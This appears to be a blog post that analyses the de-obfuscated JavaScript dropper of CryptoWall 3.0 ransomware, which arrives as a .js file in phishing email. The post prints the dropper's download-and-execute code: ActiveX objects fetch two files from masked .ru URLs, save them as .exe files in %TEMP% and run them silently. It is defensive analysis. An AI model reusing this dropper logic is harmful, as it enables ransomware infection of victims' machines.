CryptoWall: Magic behind the dropper
In this article we take a look at de-obfuscating the latest CryptoWall 3.0 dropper (Which is actually very, very simple).
As noted in a previous article, the latest variant of CryptoWall 3.0 is getting around via a .js file, delivered via phishing email.
The JavaScript file is heavily obfuscated which makes it difficult, if not impossible, to analyse just by looking at it. Although by monitoring system behaviour, network traffic, etc we can make an educated guess about what the file is doing, it would still be nice to know for sure.
Disclaimer: This is all carried out in a controlled, isolated environment. Do not try this at home. Seriously. I will not be held responsible if you infect yourself, chances are all sorts of nasty things will happen (Ransomeware is especially nasty).
I did, of course, first attempt the path of least resistance and ran the code through a few automated analysis tools such as:
The first three fell over and did nothing (jsdetox gave it a solid try, but ultimately failed on the ActiveX objects – understandable, given ActiveX is an IE thing).
I first ran the script through jsbeautifier to make it easier to read.
Then the IE JavaScript debugger gave me a few helpful hints:
Though this is nothing prior analysis did not already tell me.
Instead, given the file in question is fairly small, I decided the easiest route was to go line by line and redirect each statement into a document.write() call in order to let the script de-obfuscate itself for me.
In the end I turned this:
Into this:
Note: I have done a couple of things to make it a little easier to understand:
- Renamed variables/functions.
- In some places have replaced the variable name with the contents of the var.
- Replaced the actual URL with URL so no one goes and infects themselves 🙂
The script contains only three functions: The main function function(), a small callback function* *and the function that downloads and executes the first payload which I have renamed to dropAndRun(). Lets go through and have a look at what this piece of JavaScript is doing:
function dropAndRun(url, fileName, run) {
dropAndRun takes three arguments:
- The URL used to retrieve the malicious file.
- The filename that will be used when the file is saved.
- A flag to indicate if the file should be executed, or simply downloaded ( This can be 0 or 1 – Perhaps for testing? ).
var objshell = new ActiveXObject("WScript.Shell");
var fileName = objshell.ExpandEnvironmentStrings("%TEMP%\2865241.exe");
var objhttp = new ActiveXObject("MSXML2.XMLHTTP");
The script then creates two ActiveX Objects. A Windows scripting host shell (required to execute the payload) and the HTTP object used to download the file.
The interesting part about using ActiveX is that if it was to be embedded in a webpage, it would require either a very poorly configured browser (I mean, these days you need to actively try to configure it that badly) or user interaction to allow it to run.
It also uses the shell to expand out the location of the current users temporary files folder.
objhttp.onreadystatechange = function() {
if (objhttp.readystate === 4) {
var datastream = new ActiveXObject("ADODB.Stream");
datastream.open(); datastream.type = 1;
datastream.Write(objhttp.responsebody);
datastream.position = 0;
datastream.SaveToFile(filename, 2);
datastream.close();
};
};
At this point another function is created – A callback to take appropriate action when the AJAX object’s ready state changes to the desire state.
In order to keep a more logical flow in this article, we’ll leave the callback function for now and skip to the request part.
try { objhttp.open(url, false); objhttp.send();
Here the script tries to open a connection to the specified URL. If the request is successful it will trigger the callback, which on each call is testing the ready state of the object:
if (objhttp.readystate === 4)
A ready state of 4 indicates that the request has finished and the response is ready.
var datastream = new ActiveXObject("ADODB.Stream");
datastream.open();
datastream.type = 1;
datastream.Write(objhttp.responsebody);
datastream.position = 0;
datastream.SaveToFile(filename, 2);\
datastream.close();
This function is the part that actually downloads the file. It’s pretty self explanatory – The script opens a datastream which writes out the response body of the HTTP Request (E.G. one.jpg) to the file specified in the arguments of the function call (E.G. 2865241.exe)
if (run > 0) { objshell.run(filename, 0, 0); }; } catch (er) {};
Once the file has been downloaded, the script simply tries to execute it via a WScript.Shell.Run call. If it fails it will silently continue without raising an error (due to the empty catch clause).
The last part of the script, and the only actual code in the main function is this:
dropAndRun("http://**URL**.ru/images/one.jpg", "2865241.exe", 1);
dropAndRun("http://**URL**.ru/images/two.jpg", "1246549.exe", 1);
Very simple – All it does is call dropAndRun with two hardcoded URL’s
That’s all there is to it. For something that has the potential to cause a lot of damage and grief to someone, the initial stage of the malware is very, very simple.
Now, the JavaScript could potentially be embedded in a malicious webpage, or an ad delivered to a legitimate webpage, but unless the security features of IE have been disabled it would require user acknowledgement to be executed.
Unfortunately, if it’s delivered in an email as a zip file and run from there it will present your standard “Open” prompt from Windows – Which I’m sure most users have trained themselves to ignore. Once opened from there, it will be allowed to execute without any further checks:
That’s all for now. Of course, there is still plenty to look at… I’m sure the actual CryptoWall Payload will be much, much more interesting.
As always, if you feel I have made an error or have any feedback, please contact me via the “Contact” link above. If you are after samples of the malware then feel free to contact me as well.